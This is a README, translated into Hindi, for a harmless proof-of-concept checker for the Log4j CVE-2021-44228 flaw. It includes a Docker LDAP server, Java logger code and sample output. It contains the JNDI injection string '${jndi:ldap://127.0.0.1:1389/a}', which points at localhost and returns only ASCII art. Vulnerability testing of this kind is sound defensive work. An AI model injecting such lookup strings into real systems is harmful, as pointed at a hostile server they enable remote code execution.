
भेद्यता CVE-2021-44228 जाँचकर्ता
यह रिपॉजिटरी CVE-2021-44228 कमजोरी की जाँच करने के लिए है।
यह एक PoC है जो बिना किसी बाहरी क्लास लोडिंग के केवल स्ट्रिंग्स प्रदर्शित करता है। इसका उपयोग मनमाना कोड निष्पादन के लिए नहीं किया जा सकता।
छवि ghcr.io/greymd/cve-2021-44228/server उपलब्ध है और इसे Docker पर चलाया जा सकता है।
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
log4j का उपयोग करके लॉग आउटपुट करने के लिए कोड तैयार करें और इसे उसी होस्ट पर चलाएँ। आउटपुट स्ट्रिंग ${jndi:ldap://127.0.0.1:1389/a} बनाएँ।
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
यदि तर्क वह है जो कमजोरी पैदा करता है, तो वाक्यांश 「うんこもりもり」(जिसका अर्थ है "बहुत सारी गंदगी") सफलतापूर्वक लॉग हो जाएगा।
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
यदि आप कोड लिखने और बनाने में आलसी हैं, तो आप इस रिपॉजिटरी में एक सरल लॉगर एप्लिकेशन का उपयोग कर सकते हैं। पहला तर्क लॉगर द्वारा आउटपुट किया जाएगा।
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
कमजोरी पैदा करने वाला तर्क देने का एक उदाहरण इस प्रकार होगा।
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
यदि आपके पास log4j का एक संस्करण है जो कमजोरी से प्रभावित नहीं है, या सर्वर एप्लिकेशन नहीं चल रहा है, तो स्ट्रिंग बिना किसी संशोधन के जैसी है वैसी ही आउटपुट होगी। आप नीचे दिखाए अनुसार लॉगर एप्लिकेशन के संस्करण को अपडेट करके इसकी पुष्टि कर सकते हैं।
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
जैसा कि मैंने उल्लेख किया (और जहाँ तक मैंने जाँच की), यह कमजोरी तब तक पुन: उत्पन्न नहीं होगी जब तक JNDI का गंतव्य सर्वर चल रहा हो। इसलिए, एक सरल PoC उपयोगी है।
कार्यान्वयन में संदर्भ के लिए निम्नलिखित URL का उपयोग किया गया।
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)